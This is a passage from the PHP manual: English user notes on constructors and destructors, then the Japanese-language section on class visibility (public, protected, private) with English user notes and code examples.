    public $deviceName,$deviceVersion,$deviceColor;

    /**
     * Set some values for Mobile::properties
     *
     * @param string device name
     * @param string device version
     * @param string device color
     */
    public function __construct ($name,$version,$color) {
        $this->deviceName = $name;
        $this->deviceVersion = $version;
        $this->deviceColor = $color;
        echo "The ".__CLASS__." class is stratup.<br /><br />";
    }

    /**
     * Some Output
     *
     * @access public
     */
    public function printOut () {
        echo 'I have a '.$this->deviceName
            .' version '.$this->deviceVersion
            .' my device color is : '.$this->deviceColor;
    }

    /**
     * Umm only for example we will remove Mobile::$deviceName Hum not unset only to check how __destruct working
     *
     * @access public
     */
    public function __destruct () {
        $this->deviceName = 'Removed';
        echo '<br /><br />Dumpping Mobile::deviceName to make sure its removed, Olay :';
        var_dump($this->deviceName);
        echo "<br />The ".__CLASS__." class is shutdown.";
    }

}

// Oh ya instance
$mob = new Mobile('iPhone','5','Black');

// print output
$mob->printOut();

?>

The Mobile class is stratup.

I have a iPhone version 5 my device color is : Black

Dumpping Mobile::deviceName to make sure its removed, Olay :
string 'Removed' (length=7)

The Mobile class is shutdown.
Per Persson 09-May-2012 01:57
As of PHP 5.3.10 destructors are not run on shutdown caused by fatal errors.

For example:
<?php
class Logger
{
    protected $rows = array();

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>

Without the $nonset->foo(); line, Before and After will both be printed, but with the line neither will be printed.

One can however register the destructor or another method as a shutdown function:
<?php
class Logger
{
    protected $rows = array();

    public function __construct()
    {
        register_shutdown_function(array($this, '__destruct'));
    }

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>
Now Before will be printed, but not After, so you can see that a shutdown occurred after Before.
david dot scourfield at llynfi dot co dot uk 12-Aug-2011 04:17
Be aware of potential memory leaks caused by circular references within objects.  The PHP manual states "[t]he destructor method will be called as soon as all references to a particular object are removed" and this is precisely true: if two objects reference each other (or even if one object has a field that points to itself as in $this->foo = $this) then this reference will prevent the destructor being called even when there are no other references to the object at all.  The programmer can no longer access the objects, but they still stay in memory.

Consider the following example:

<?php

header("Content-type: text/plain");

class Foo {

    /**
     * An indentifier
     * @var string
     */
    private $name;
    /**
     * A reference to another Foo object
     * @var Foo
     */
    private $link;

    public function __construct($name) {
        $this->name = $name;
    }

    public function setLink(Foo $link){
        $this->link = $link;
    }

    public function __destruct() {
        echo 'Destroying: ', $this->name, PHP_EOL;
    }
}

// create two Foo objects:
$foo = new Foo('Foo 1');
$bar = new Foo('Foo 2');

// make them point to each other
$foo->setLink($bar);
$bar->setLink($foo);

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 1 or Foo 2, so they OUGHT to be __destruct()ed
// but they are not, so we get a memory leak as they are still in memory.
//
// Uncomment the next line to see the difference when explicitly calling the GC:
// gc_collect_cycles();
//
// see also: http://www.php.net/manual/en/features.gc.php
//

// create two more Foo objects, but DO NOT set their internal Foo references
// so nothing except the vars $foo and $bar point to them:
$foo = new Foo('Foo 3');
$bar = new Foo('Foo 4');

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 3 or Foo 4 and as there are no more references
// to them anywhere, their __destruct() methods are automatically called here,
// BEFORE the next line is executed:

echo 'End of script', PHP_EOL;

?>

This will output:

Destroying: Foo 3
Destroying: Foo 4
End of script
Destroying: Foo 1
Destroying: Foo 2

But if we uncomment the gc_collect_cycles(); function call in the middle of the script, we get:

Destroying: Foo 2
Destroying: Foo 1
Destroying: Foo 3
Destroying: Foo 4
End of script

As may be desired.

NOTE: calling gc_collect_cycles() does have a speed overhead, so only use it if you feel you need to.
Jonathon Hibbard 09-Jan-2010 04:32
Please be aware of when using __destruct() in which you are unsetting variables...

Consider the following code:
<?php
class my_class {
  public $error_reporting = false;

  function __construct($error_reporting = false) {
    $this->error_reporting = $error_reporting;
  }

  function __destruct() {
    if($this->error_reporting === true) $this->show_report();
    unset($this->error_reporting);
  }
?>

The above will result in an error:
Notice: Undefined property: my_class::$error_reporting in my_class.php on line 10

It appears as though the variable will be unset BEFORE it actually can execute the if statement.  Removing the unset will fix this.  It's not needed anyways as PHP will release everything anyways, but just in case you run across this, you know why ;)
spleen 17-Oct-2008 04:35
It's always the easy things that get you -

Being new to OOP, it took me quite a while to figure out that there are TWO underscores in front of the word __construct.

It is __construct
Not _construct

Extremely obvious once you figure it out, but it can be sooo frustrating until you do.

I spent quite a bit of needless time debugging working code.

I even thought about it a few times, thinking it looked a little long in the examples, but at the time that just seemed silly(always thinking "oh somebody would have made that clear if it weren't just a regular underscore...")

All the manuals I looked at, all the tuturials I read, all the examples I browsed through  - not once did anybody mention this!

(please don't tell me it's explained somewhere on this page and I just missed it,  you'll only add to my pain.)

I hope this helps somebody else!
bolshun at mail dot ru 16-Apr-2008 06:13
Ensuring that instance of some class will be available in destructor of some other class is easy: just keep a reference to that instance in this other class.
david at synatree dot com 29-Dec-2007 01:26
When a script is in the process of die()ing, you can't count on the order in which __destruct() will be called.

For a script I have been working on, I wanted to do transparent low-level encryption of any outgoing data.  To accomplish this, I used a global singleton class configured like this:

class EncryptedComms
{
    private $C;
    private $objs = array();
    private static $_me;

    public static function destroyAfter(&$obj)
    {
        self::getInstance()->objs[] =& $obj;
        /*
            Hopefully by forcing a reference to another object to exist
            inside this class, the referenced object will need to be destroyed
            before garbage collection can occur on this object.  This will force
            this object's destruct method to be fired AFTER the destructors of
            all the objects referenced here.
        */
    }
    public function __construct($key)
    {
            $this->C = new SimpleCrypt($key);
            ob_start(array($this,'getBuffer'));
    }
    public static function &getInstance($key=NULL)
    {
        if(!self::$_me && $key)
            self::$_me = new EncryptedComms($key);
        else
            return self::$_me;
    }

    public function __destruct()
    {
        ob_end_flush();
    }

    public function getBuffer($str)
    {
        return $this->C->encrypt($str);
    }

}

In this example, I tried to register other objects to always be destroyed just before this object.  Like this:

class A
{

public function __construct()
{
     EncryptedComms::destroyAfter($this);
}
}

One would think that the references to the objects contained in the singleton would be destroyed first, but this is not the case.  In fact, this won't work even if you reverse the paradigm and store a reference to EncryptedComms in every object you'd like to be destroyed before it.

In short, when a script die()s, there doesn't seem to be any way to predict the order in which the destructors will fire.
prieler at abm dot at 27-Jul-2007 12:42
i have written a quick example about the order of destructors and shutdown functions in php 5.2.1:

<?php
class destruction {
    var $name;

    function destruction($name) {
        $this->name = $name;
        register_shutdown_function(array(&$this, "shutdown"));
    }

    function shutdown() {
        echo 'shutdown: '.$this->name."\n";
    }

    function __destruct() {
        echo 'destruct: '.$this->name."\n";
    }
}

$a = new destruction('a: global 1');

function test() {
    $b = new destruction('b: func 1');
    $c = new destruction('c: func 2');
}
test();

$d = new destruction('d: global 2');

?>

this will output:
shutdown: a: global 1
shutdown: b: func 1
shutdown: c: func 2
shutdown: d: global 2
destruct: b: func 1
destruct: c: func 2
destruct: d: global 2
destruct: a: global 1

conclusions:
destructors are always called on script end.
destructors are called in order of their "context": first functions, then global objects
objects in function context are deleted in order as they are set (older objects first).
objects in global context are deleted in reverse order (older objects last)

shutdown functions are called before the destructors.
shutdown functions are called in there "register" order. ;)

regards, J
Reza Mahjourian 10-Jul-2006 02:18
Peter has suggested using static methods to compensate for unavailability of multiple constructors in PHP.  This works fine for most purposes, but if you have a class hierarchy and want to delegate parts of initialization to the parent class, you can no longer use this scheme.  It is because unlike constructors, in a static method you need to do the instantiation yourself.  So if you call the parent static method, you will get an object of parent type which you can't continue to initialize with derived class fields.

Imagine you have an Employee class and a derived HourlyEmployee class and you want to be able to construct these objects out of some XML input too.

<?php
class Employee {
   public function __construct($inName) {
       $this->name = $inName;
   }

   public static function constructFromDom($inDom)
   {
       $name = $inDom->name;
       return new Employee($name);
   }

   private $name;
}

class HourlyEmployee extends Employee {
   public function __construct($inName, $inHourlyRate) {
       parent::__construct($inName);
       $this->hourlyRate = $inHourlyRate;
   }

   public static function constructFromDom($inDom)
   {
       // can't call parent::constructFromDom($inDom)
       // need to do all the work here again
       $name = $inDom->name;  // increased coupling
       $hourlyRate = $inDom->hourlyrate;
       return new EmployeeHourly($name, $hourlyRate);
   }

   private $hourlyRate;
}
?>

The only solution is to merge the two constructors in one by adding an optional $inDom parameter to every constructor.


アクセス権

プロパティ、メソッドまたは (PHP 7.1.0 以降) 定数のアクセス権 (visibility) は、 キーワード: public, protected または private を指定することにより定義できます。 public 宣言されたクラスのメンバーには、どこからでもアクセス可能です。 protected 宣言されたメンバーには、 そのクラス自身、そのクラスを継承したクラス、および親クラスからのみアクセスできます。 private 宣言されたメンバーには、そのメンバーを定義したクラスからのみアクセスできます。

プロパティのアクセス権

クラスのプロパティは、public, private, または protected として定義しなければなりません。var を使って宣言した場合、 そのプロパティは public として定義されます。

例1 プロパティの宣言

<?php
/**
 * MyClass の定義
 */
class MyClass
{
    public $public = 'Public';
    protected $protected = 'Protected';
    private $private = 'Private';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj = new MyClass();
echo $obj->public; // 動作します
echo $obj->protected; // Fatal エラー
echo $obj->private; // Fatal エラー
$obj->printHello(); // Public、Protected そして Private を表示します

/**
 * MyClass2 の定義
 */
class MyClass2 extends MyClass
{
    // public および protected プロパティは再定義できますが、
    // private はできません。
    public $public = 'Public2';
    protected $protected = 'Protected2';

    function printHello()
    {
        echo $this->public;
        echo $this->protected;
        echo $this->private;
    }
}

$obj2 = new MyClass2();
echo $obj2->public; // 動作します
echo $obj2->protected; // Fatal エラー
echo $obj2->private; // 未定義です
$obj2->printHello(); // Public2, Protected2, Undefined を表示します

?>

メソッドのアクセス権

クラスメソッドは、public, private, または protected として定義します。アクセス権を明示せずに宣言したメソッドは、 public となります。

例2 メソッドの宣言

<?php
/**
 * MyClass の定義
 */
class MyClass
{
    // public コンストラクタの宣言
    public function __construct() { }

    // public メソッドの宣言
    public function MyPublic() { }

    // protected メソッドの宣言
    protected function MyProtected() { }

    // private メソッドの宣言
    private function MyPrivate() { }

    // これは public となります
    function Foo()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate();
    }
}

$myclass = new MyClass;
$myclass->MyPublic(); // 動作します
$myclass->MyProtected(); // Fatal エラー
$myclass->MyPrivate(); // Fatal エラー
$myclass->Foo(); // Public、Protected および Private が動作します

/**
 * MyClass2 の定義
 */
class MyClass2 extends MyClass
{
    // これは public となります
    function Foo2()
    {
        $this->MyPublic();
        $this->MyProtected();
        $this->MyPrivate(); // Fatal エラー
    }
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // 動作します
$myclass2->Foo2(); // Public および Protected は動作しますが、Private は動作しません

class Bar
{
    public function test() {
        $this->testPrivate();
        $this->testPublic();
    }

    public function testPublic() {
        echo "Bar::testPublic\n";
    }

    private function testPrivate() {
        echo "Bar::testPrivate\n";
    }
}

class Foo extends Bar
{
    public function testPublic() {
        echo "Foo::testPublic\n";
    }

    private function testPrivate() {
        echo "Foo::testPrivate\n";
    }
}

$myFoo = new Foo();
$myFoo->test(); // Bar::testPrivate
                // Foo::testPublic
?>

定数のアクセス権

PHP 7.1.0 以降では、クラスの定数は public, private, protected として定義できるようになりました。 明示的に公開範囲のキーワードを明示的に宣言しない定数は、public として定義されます。

例3 PHP 7.1.0 以降での定数の宣言

<?php
/**
 * MyClass を定義する
 */
class MyClass
{
    // public な定数を宣言する
    public const MY_PUBLIC = 'public';

    // protected な定数を宣言する
    protected const MY_PROTECTED = 'protected';

    // private な定数を宣言する
    private const MY_PRIVATE = 'private';

    public function foo()
    {
        echo self::MY_PUBLIC;
        echo self::MY_PROTECTED;
        echo self::MY_PRIVATE;
    }
}

$myclass = new MyClass();
MyClass::MY_PUBLIC; // 動作します
MyClass::MY_PROTECTED; // Fatal エラー
MyClass::MY_PRIVATE; // Fatal エラー
$myclass->foo(); // Public, Protected, Private のいずれでも動作します

/**
 * MyClass2 を定義する
 */
class MyClass2 extends MyClass
{
    // これは public
    function foo2()
    {
        echo self::MY_PUBLIC;
        echo self::MY_PROTECTED;
        echo self::MY_PRIVATE; // Fatal エラー
    }
}

$myclass2 = new MyClass2;
echo MyClass2::MY_PUBLIC; // 動作します
$myclass2->foo2(); // Public, Protected では動作しますが、Private では動作しません
?>

他のオブジェクトからのアクセス権

同じ型のオブジェクト間では、たとえ同一のインスタンスでなくても お互いの private メンバーや protected メンバーにアクセスすることができます。 これは、そのオブジェクトの内部ではオブジェクトの実装の詳細が既知であるからです。

例4 同じ型のオブジェクトの private メンバーへのアクセス

<?php
class Test
{
    private $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz(Test $other)
    {
        // private プロパティを変更することができます
        $other->foo = 'hello';
        var_dump($other->foo);

        // private メソッドをコールすることもできます
        $other->bar();
    }
}

$test = new Test('test');

$test->baz(new Test('other'));
?>

上の例の出力は以下となります。

string(5) "hello"
Accessed the private method.

User Contributed Notes

tvitcom at yandex dot ru 16-Sep-2020 04:49
<?php
//PHP Version 7.4.5 (compiled, as mod_cgi)

class BaseOne {
    public function Print($a) {
        return $a . '123';
    }

    private function PrintPrivate($a) {
        return $a . '123';
    }

    protected function PrintProtected($a) {
        return $a . '123';
    }
}

class BaseTwo extends BaseOne {}

$b = new BaseTwo();

echo $b->Print('000');
echo $b->PrintPrivate("000");//Fatal error: Uncaught Error: Call to private method BaseOne::PrintPrivate() from context...
echo $b->PrintProtected("000");//Fatal error: Uncaught Error: Call to protected method BaseOne::PrintProtected() from context...
benjam 01-Jun-2020 09:16
When overriding a private method with a more visible child method, the parent method may be called instead.

<?php

class Parent {
    private function foo() {
        echo "Parent Foo\n";
    }

    public function call_foo() {
        $this->foo();
    }
}

class Child extends Parent {
    public function foo() {
        echo "Child Foo\n";
    }
}

$bar = new Child();
$bar->call_foo();
$bar->foo();

?>

will output:
Parent Foo
Child Foo
Vytautas 05-Apr-2020 10:31
I have simplified the last method (Example #4) showing how to call private function outside the class. I think this is an idea of that example:

<?php
class Test
{
    private $foo;

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz()
    {
        // Calling the private method:
        $this->bar();
    }
}
$test=new Test();
$test->baz();
$test->bar();
?>
Patanjali 04-Nov-2019 10:19
Re: wbcarts at juno dot com

Expected, since it comes down to PHP's lack of type enforcement.

Classes preserve structure, but doesn't natively enforce scalar property types, as per PHP's variables.

'It REQUIRES OUTSIDE CODE to do all the work...'

No, as you indicate, to mitigate this,  make variables private and use protected/public 'set' and 'get' types of methods to manipulate their values.

However, the 'set' functions would also need to enforce type and report errors if not of the correct type.

Of course, the code that uses classes should be designed to either:
a. Provide only the correct types of values.
b. Handle the errors reported.
c. Encapsulate use of the class with try-catch blocks.

Note that c. is what sloppy code feeding mistyped values to the class would have to do if type were strictly enforced.

Fortunately, as of 7.0, type can be specified for scalar function/method parameters, but would need try-catch blocks to handle mismatches from inside the class, rather than using the 'is' functions.

All of this is part of proper design and defensive programming.
tushar dot khan0122 at gmail dot com 12-Mar-2019 07:54
1 . If the class member declared as public then it can be accessed everywhere.
2 . If the class members declared as protected then it can be accessed only within the class itself and by inheriting and parent classes.
 3 .If the class members declared as private then it may only be accessed by the class that defines the member.

<?php

// BaseClass
class pub {
    public $tag_line = "A Computer Science Portal for Geeks!";
    function display() {
        echo $this->tag_line."<br/>";
    }
}

// SubClass
class child extends pub {
    function show(){
        echo $this->tag_line;
    }
}

// Object Declaration
$obj= new child;

// A Computer Science Portal for Geeks!
echo $obj->tag_line."<br/>";

// A Computer Science Portal for Geeks!
$obj->display();

// A Computer Science Portal for Geeks!
$obj->show();
?>

<?php

// Base Class
class pro {
    protected $x = 500;
    protected $y = 500;

    // Subtraction Function
    function sub()
    {
        echo $sum=$this->x-$this->y . "<br/>";
    }
}

// SubClass - Inherited Class
class child extends pro {
    function mul() //Multiply Function
    {
        echo $sub=$this->x*$this->y;
    }
}

$obj= new child;
$obj->sub();
$obj->mul();
?>

<?php

// Base Class
class demo {
    private $name="A Computer Science Portal for Geeks!";

    private function show()
    {
        echo "This is private method of base class";
    }
}

// Sub Class
class child extends demo {
    function display()
    {
        echo $this->name;
    }
}

// Object Declaration
$obj= new child;

// Uncaught Error: Call to private method demo::show()
$obj->show();

//Undefined property: child::$name
$obj->display();
?>
bishop at php dot net 11-Nov-2016 03:27
> Members declared protected can be accessed only within
> the class itself and by inherited classes. Members declared
> as private may only be accessed by the class that defines
> the member.

This is not strictly true. Code outside the object can get and set private and protected members:

<?php
class Sealed { private $value = 'foo'; }

$sealed = new Sealed;
var_dump($sealed); // private $value => string(3) "foo"

call_user_func(\Closure::bind(
    function () use ($sealed) { $sealed->value = 'BAZ'; },
    null,
    $sealed
));

var_dump($sealed); // private $value => string(3) "BAZ"

?>

The magic lay in \Closure::bind, which allows an anonymous function to bind to a particular class scope. The documentation on \Closure::bind says:

> If an object is given, the type of the object will be used
> instead. This determines the visibility of protected and
> private methods of the bound object.

So, effectively, we're adding a run-time setter to $sealed, then calling that setter. This can be elaborated to generic functions that can force set and force get object members:

<?php
function force_set($object, $property, $value) {
    call_user_func(\Closure::bind(
        function () use ($object, $property, $value) {
            $object->{$property} = $value;
        },
        null,
        $object
    ));
}

function force_get($object, $property) {
    return call_user_func(\Closure::bind(
        function () use ($object, $property) {
            return $object->{$property};
        },
        null,
        $object
    ));
}

force_set($sealed, 'value', 'quux');
var_dump(force_get($sealed, 'value')); // 'quux'

?>

You should probably not rely on this ability for production quality code, but having this ability for debugging and testing is handy.
noel darlow 18-Jun-2016 08:19
After having the how explained, many people will still be left wondering about the why. How should the different kinds of visibility be used in practice?

Some kind of labelling for the public and private parts of an interface is certainly necessary. We need to be clear which methods will be part of the public interface and which are only used internally .

In older versions of php notionally-private functions were prefixed with an underscore - a much simpler and more elegant solution to the labelling problem. "Protected" adds clutter which affects readability. It adds a lot of unnecessary typing to what is already a keyboard-intensive job.

As for enforcement.. no-one ever got mixed up about public/private so long as they were clearly labelled. As such, "protected" is an attempt to solve a problem which simply did not exist.

Private is even worse. It specifically encourages bad object-oriented code with the use of inheritance in places where you should be thinking about separate, co-operating objects.

A feeling that classes which inherit from each other need to hide some of their bits from each other is a sure sign that you need to break the code up into separate objects. This is exactly what encapsulation is for. It doesn't make any sense to try to encapsulate bits inside an inheritance tree. Classes which extend other classes must always be free to override whatever it is they need to override in their parent classes.

In short, use protected if you must, do not use private at all. Do not try to squeeze too much new functionality into an inheritance tree: create networks of co-operating objects with clearly-defined responsibilities instead.

It's a real shame that php took the decision to implement private and protected. They add nothing to our ability to write good quality OO code; they simply make that code more difficult to write and to understand.   Clarity and simplicity are incredibly important in programming but now both php programmers and php developers are stuck with these unnecessary layers of complexity.
gried at NOSPAM dot nsys dot by 28-Jan-2016 06:18
I want to merge notes from different comments about visibility of class members from parent class / sibling class point of view because visibility rules are similar. Here are main points:
    1. Methods declared in parent class can access some child class members.
    2. Class can access some sibling class members using methods declared in common parent. NB: only inherited not-overridden parent method could be used, if you override it in current class you have to call parent method statically to get access to sibling members.

You can see list of members that could be accessed via these methods below:
- inherited protected / private property - OK;
- inherited protected / private method without overriding - OK;
- inherited protected method with overriding - OK;
- inherited private method with overriding - FAIL, original parent method will be called;
- own protected property / method - OK;
- own private property / method - FAIL, critical error.
willbrownsberger at gmail dot com 03-Sep-2015 01:20
Just wanted to share a trap for the unwary.  Where there are several layers of object assignments, setting the bottom object's properties as private will prevent its exposure.  However, if the bottom object has public properties, intermediate objects which are themselves set as private but are derived from the bottom object can inadvertently be exposed to updates.

This follows logically from the reference model in php ( http://php.net/manual/en/language.oop5.references.php ), but can yield a result that is surprising until one gets the reference model.  The following example demonstrates the phenomenon.

// underlying class for offering database results to other objects
// __construct method yields public results -- bottom object in example

class database_result {
    public $column1;
    public function __construct() {
        // . . . database access . . .
        $this->column1 = 'foo';
    }
}

// application dictionary accesses database and caches results
// for application objects -- this is the second layer  in the example

class  dictionary {
    private $reference_object;
    public function __construct (){
        $this->reference_object = new database_result;
    }

    public function get_reference_object() {
        return ( $this->reference_object );
    }
}

$dictionary = new dictionary;
/* $dictionary->reference_object cannot be accessed directly
* $dictionary->reference_object->column1 = 'foochanged';
* yields Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

$pointer_to_dictionary = $dictionary;
/*
* if assign $dictionary to new variable, the new variable is a pointer and its properties are still private
* $pointer_to_dictionary->reference_object->column1 = 'foochanged';
* Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
* $pointer_to_dictionary = $dictionary->reference_object;
*  Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

//  now set up a client class that will use a working copy of the dictionary -- this is the third layer in the example

class dictionary_user {
    private $pointer_to_dictionary;
    public function __construct () {
        global $dictionary;
        // $this->pointer_to_dictionary = $dictionary->reference_object;
        // Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
        // still cannot directly access dictionary properties even in this context, except through getter
        $this->pointer_to_dictionary = $dictionary->get_reference_object();
    }

    // however, can now operate on dictionary through the pointer
    public function set_pointer_to_dictionary ( $value ) {
        $this->pointer_to_dictionary->column1 = $value;
    }

    public function get_pointer_to_reference_object(){
        return ($this->pointer_to_dictionary);
    }
}

$dictionary_user = new dictionary_user;
$dictionary_user->set_pointer_to_dictionary ( 'foochanged' );
echo ('<br/>');
var_dump ( $dictionary_user->get_pointer_to_reference_object()); echo '<br/>';
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" } -- of course, the user object is changed
var_dump ( $dictionary->get_reference_object() );
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" }  -- however, the private dictionary object is also now corrupted!
// Note:  If the underlying database result object $column1 as private, this will cause set_pointer_to_dictionary to generate the usual fatal error
// but  making the bottom object private may defeat its purpose of exposing results.
pgl at yoyo dot org 30-Jun-2015 11:09
Just a quick note that it's possible to declare visibility for multiple properties at the same time, by separating them by commas.

eg:

<?php
class a
{
    protected $a, $b;

    public $c, $d;

    private $e, $f;
}
?>
thcdesigning at gmail dot com 26-Nov-2013 12:50
Private or not private?
 I get baffled whenever I see this kind of an example.

<?php

class vessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

class smallVessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

$basket = new vessel();
$bucket = new vessel();
$bowl = new smallVessel();

$basket->setThing(array('wine' , 'water' , 'sugar'));

 // returns the contents inside basket unexpectedly
print_r($bucket->getThing($basket));

// returns error, quite rightly so!
print_r($bowl ->getThing($basket));
aluciffer at hotmail dot com 21-Jul-2013 02:08
As far as it regards the properties of objects, visibility is, yes, as the examples show.
Private, protected methods are not accessible via syntax $a->protectedVar, however their values are still (php 5.3.26) accessible through a number of other methods (serializing, converting to array, and nevertheless using the ReflectionClass methods).
As it was pointed out and such as in the example below:
<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
   private   $bar  = "value of private var";
   protected $bar2 = "value of protected var";
   public    $bar3 = "value of public var";
}

$obj = new Foo;

echo serialize($obj) . "\n";

print_r($obj);

print_r((array)$obj);

echo ($obj->bar3) . "\n";
echo ($obj->bar2) . "\n";
echo ($obj->bar) . "\n";

?>

It will output:

PHP Version: 5.3.26
O:3:"Foo":3:{s:8:"Foobar";s:20:"value of private var ";s:7:"*bar2";s:22:"value of protected var";s:4:"bar3";s:19:"value of public var";}
Foo Object
(
    [bar:Foo:private] => value of private var
    [bar2:protected] => value of protected var
    [bar3] => value of public var
)

Array
(
    [Foobar] => value of private var
    [*bar2] => value of protected var
    [bar3] => value of public var
)
value of public var

While the last two lines, accessing directly the private and protected object properties (bar2 and bar), will throw out fatal errors like:
PHP Fatal error:  Cannot access private property Foo::$bar
and
PHP Fatal error:  Cannot access protected property Foo::$bar2
andrei at leapingbytes dot net 20-Dec-2012 09:50
Interestingly enough, PHP does very reasonable job in regards to interaction between classes and plain functions (even ones defined in the same file as the class)

<?php

class Test {
    private function foo() {
        echo "Foo" . PHP_EOL;
    }
    protected function bar() {
        echo "bar" . PHP_EOL;
    }

    static function foobar($test) {
        $test->bar(); // works
        $test->foo(); // works
    }
}

function simple_function() {
    $test = new Test();

    $test->bar(); // does not work

    $test->foo(); // does not work

    Test::foobar($test); // works
}

simple_function();
?>
alexaulbach at mayflower dot de 06-Nov-2012 01:32
<?php

error_reporting(E_ALL | E_STRICT |  E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);

class A
{
        private $private = 1;
        public $public = 1;

        function get()
        {
                return "A: $this->private , $this->public\n";
        }

}

class B extends A
{

        function __construct()
        {
                $this->private = 2;
                $this->public = 2;
        }

        function set()
        {
                $this->private = 3;
                $this->public = 3;
        }

        function get()
        {
                return parent::get() . "B: $this->private , $this->public\n";
        }

}

$B = new B;

echo $B->get();
echo $B->set();
echo $B->get();
?>

?>

Result is
A: 1 , 2
B: 2 , 2
A: 1 , 3
B: 3 , 3

This is correct code and does not warn you to use any private.

"$this->private" is only in A private. If you write it in class B it's a runtime declaration of the public variable "$this->private", and PHP doesn't even warn you that you create a variable in a class without declaration, because this is normal behavior.
omega at 2093 dot es 06-Jul-2012 12:04
This has already been noted here, but there was no clear example. Methods defined in a parent class can NOT access private methods defined in a class which inherits from them. They can access protected, though.

Example:

<?php

class ParentClass {

    public function execute($method) {
        $this->$method();
    }

}

class ChildClass extends ParentClass {

    private function privateMethod() {
        echo "hi, i'm private";
    }

    protected function protectedMethod() {
        echo "hi, i'm protected";
    }

}

$object = new ChildClass();

$object->execute('protectedMethod');

$object->execute('privateMethod');

?>

Output:

hi, i'm protected
Fatal error: Call to private method ChildClass::privateMethod() from context 'ParentClass' in index.php on line 6

In an early approach this may seem unwanted behaviour but it actually makes sense. Private can only be accessed by the class which defines, neither parent nor children classes.
jc dot flash at gmail dot com 21-Jun-2012 02:31
if not overwritten, self::$foo in a subclass actually refers to parent's self::$foo
<?php
class one
{
    protected static $foo = "bar";
    public function change_foo($value)
    {
        self::$foo = $value;
    }
}

class two extends one
{
    public function tell_me()
    {
        echo self::$foo;
    }
}
$first = new one;
$second = new two;

$second->tell_me(); // bar
$first->change_foo("restaurant");
$second->tell_me(); // restaurant
?>
IgelHaut 30-May-2012 01:48
<?php
class test {
    public $public = 'Public var';
    protected $protected = 'protected var';
    private $private = 'Private var';

    public static $static_public = 'Public static var';
    protected static $static_protected = 'protected static var';
    private static $static_private = 'Private static var';
}

$class = new test;
print_r($class);
?>

The code prints
test Object ( [public] => Public var [protected:protected] => protected var [private:test:private] => Private var )

Functions like print_r(), var_dump() and var_export() prints public, protected and private variables, but not the static variables.
wbcarts at juno dot com 19-May-2012 08:27
INSIDE CODE and OUTSIDE CODE

<?php

class Item
{
  /**
   * This is INSIDE CODE because it is written INSIDE the class.
   */
  public $label;
  public $price;
}

/**
 * This is OUTSIDE CODE because it is written OUTSIDE the class.
 */
$item = new Item();
$item->label = 'Ink-Jet Tatoo Gun';
$item->price = 49.99;

?>

Ok, that's simple enough... I got it inside and out. The big problem with this is that the Item class is COMPLETELY IGNORANT in the following ways:
* It REQUIRES OUTSIDE CODE to do all the work AND to know what and how to do it -- huge mistake.
* OUTSIDE CODE can cast Item properties to any other PHP types (booleans, integers, floats, strings, arrays, and objects etc.) -- another huge mistake.

Note: we did it correctly above, but what if someone made an array for $price? FYI: PHP has no clue what we mean by an Item, especially by the terms of our class definition above. To PHP, our Item is something with two properties (mutable in every way) and that's it. As far as PHP is concerned, we can pack the entire set of Britannica Encyclopedias into the price slot. When that happens, we no longer have what we expect an Item to be.

INSIDE CODE should keep the integrity of the object. For example, our class definition should keep $label a string and $price a float -- which means only strings can come IN and OUT of the class for label, and only floats can come IN and OUT of the class for price.

<?php

class Item
{
  /**
   * Here's the new INSIDE CODE and the Rules to follow:
   *
   * 1. STOP ACCESS to properties via $item->label and $item->price,
   *    by using the protected keyword.
   * 2. FORCE the use of public functions.
   * 3. ONLY strings are allowed IN & OUT of this class for $label
   *    via the getLabel and setLabel functions.
   * 4. ONLY floats are allowed IN & OUT of this class for $price
   *    via the getPrice and setPrice functions.
   */

  protected $label = 'Unknown Item'; // Rule 1 - protected.
  protected $price = 0.0;            // Rule 1 - protected.

  public function getLabel() {       // Rule 2 - public function.
    return $this->label;             // Rule 3 - string OUT for $label.
  }

  public function getPrice() {       // Rule 2 - public function.
    return $this->price;             // Rule 4 - float OUT for $price.
  }

  public function setLabel($label)   // Rule 2 - public function.
  {
    /**
     * Make sure $label is a PHP string that can be used in a SORTING
     * alogorithm, NOT a boolean, number, array, or object that can't
     * properly sort -- AND to make sure that the getLabel() function
     * ALWAYS returns a genuine PHP string.
     *
     * Using a RegExp would improve this function, however, the main
     * point is the one made above.
     */

    if(is_string($label))
    {
      $this->label = (string)$label; // Rule 3 - string IN for $label.
    }
  }

  public function setPrice($price)   // Rule 2 - public function.
  {
    /**
     * Make sure $price is a PHP float so that it can be used in a
     * NUMERICAL CALCULATION. Do not accept boolean, string, array or
     * some other object that can't be included in a simple calculation.
     * This will ensure that the getPrice() function ALWAYS returns an
     * authentic, genuine, full-flavored PHP number and nothing but.
     *
     * Checking for positive values may improve this function,
     * however, the main point is the one made above.
     */

    if(is_numeric($price))
    {
